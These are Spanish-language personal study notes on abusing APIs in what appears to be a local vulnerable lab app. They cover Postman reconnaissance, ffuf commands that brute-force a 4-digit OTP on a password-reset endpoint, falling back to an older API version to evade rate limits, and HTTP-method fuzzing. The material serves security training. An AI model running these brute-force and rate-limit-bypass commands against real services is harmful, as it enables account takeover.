Abuso de APIs - Hacking Notes
Índice
- [[#Identificación de API]]
- [[#Analizamos la petición]]
- [[#Reconocimiento con Postman]]
- [[#Explotación de un endpoint con fuerza bruta]]
- [[#Explotación de un endpoint cambiando el método]]
- [[#SQLi y NoSQLi en APIs]]
Identificación de API

Seleccionamos la opción XHR para ver las peticiones más concretas
Analizamos la petición
-
Vemos el método y el endpoint

-
Vemos el contenido que mandamos

-
Vemos la respuesta

Nos está devolviendo un token de sesión, en este caso un [[Conceptos#JSON Web Token (JWT)]]
Reconocimiento con Postman
-
Creamos una nueva colección

-
Mandamos una petición por post al endpoint http://localhost:8888/identity/api/auth/login

Vemos que hay errores ya que faltan parámentros
- Mandamos la petición con el contenido en formato JSON

Podemos guardar esta petición para tener más organización
- Creamos otra petición para el dashboard

Vemos que da error ya que tenemos que arrastrar el JWT, debido a que este endpoint se utiliza una vez está iniciada la sesión
- Creamos una variable para usar el JWT


-
Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/products

-
Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/orders

-
Creamos otra petición al endpoint http://localhost:8888/workshop/api/shop/orders/reuturn_order?order_id=1

-
Creamos otra petición al endpoint http://localhost:8888/identity/api/auth/v3/check-otp

Ya que el código de verificación que nos mandan es únicamente de 4 dígitos, podemos emplear fuerza bruta
Explotación de un endpoint con fuerza bruta
ffuf -u http://localhost:8888/identity/api/aut/v3/check-otp -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"s4vitar@hack4u.io","otp":"FUZZ","password":"NewPass123$!"}' -H "Content-Type: application/json" -p 1 -mc 200
Como esta versión de API v3 tiene una restricción de solicitudes, podemos intentar mandar la misma petición a la versión más antigua expuesta, en este caso la v2
ffuf -u http://localhost:8888/identity/api/aut/v2/check-otp -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"s4vitar@hack4u.io","otp":"FUZZ","password":"NewPass123$!"}' -H "Content-Type: application/json" -p 1 -mc 200
Explotación de un endpoint cambiando el método
- Empleamos fuzzing
ffuf -u http://localhost:8888/workshop/api/shop/products -w /usr/share/SecLists/Fuzzing/http-request-methods.txt -X FUZZ -p 1 -mc 401,200 -
Usamos el método options

- Probamos el método POST y cambiamos los parámetros

SQLi y NoSQLi en APIs
- NoSQLi en Mongodb
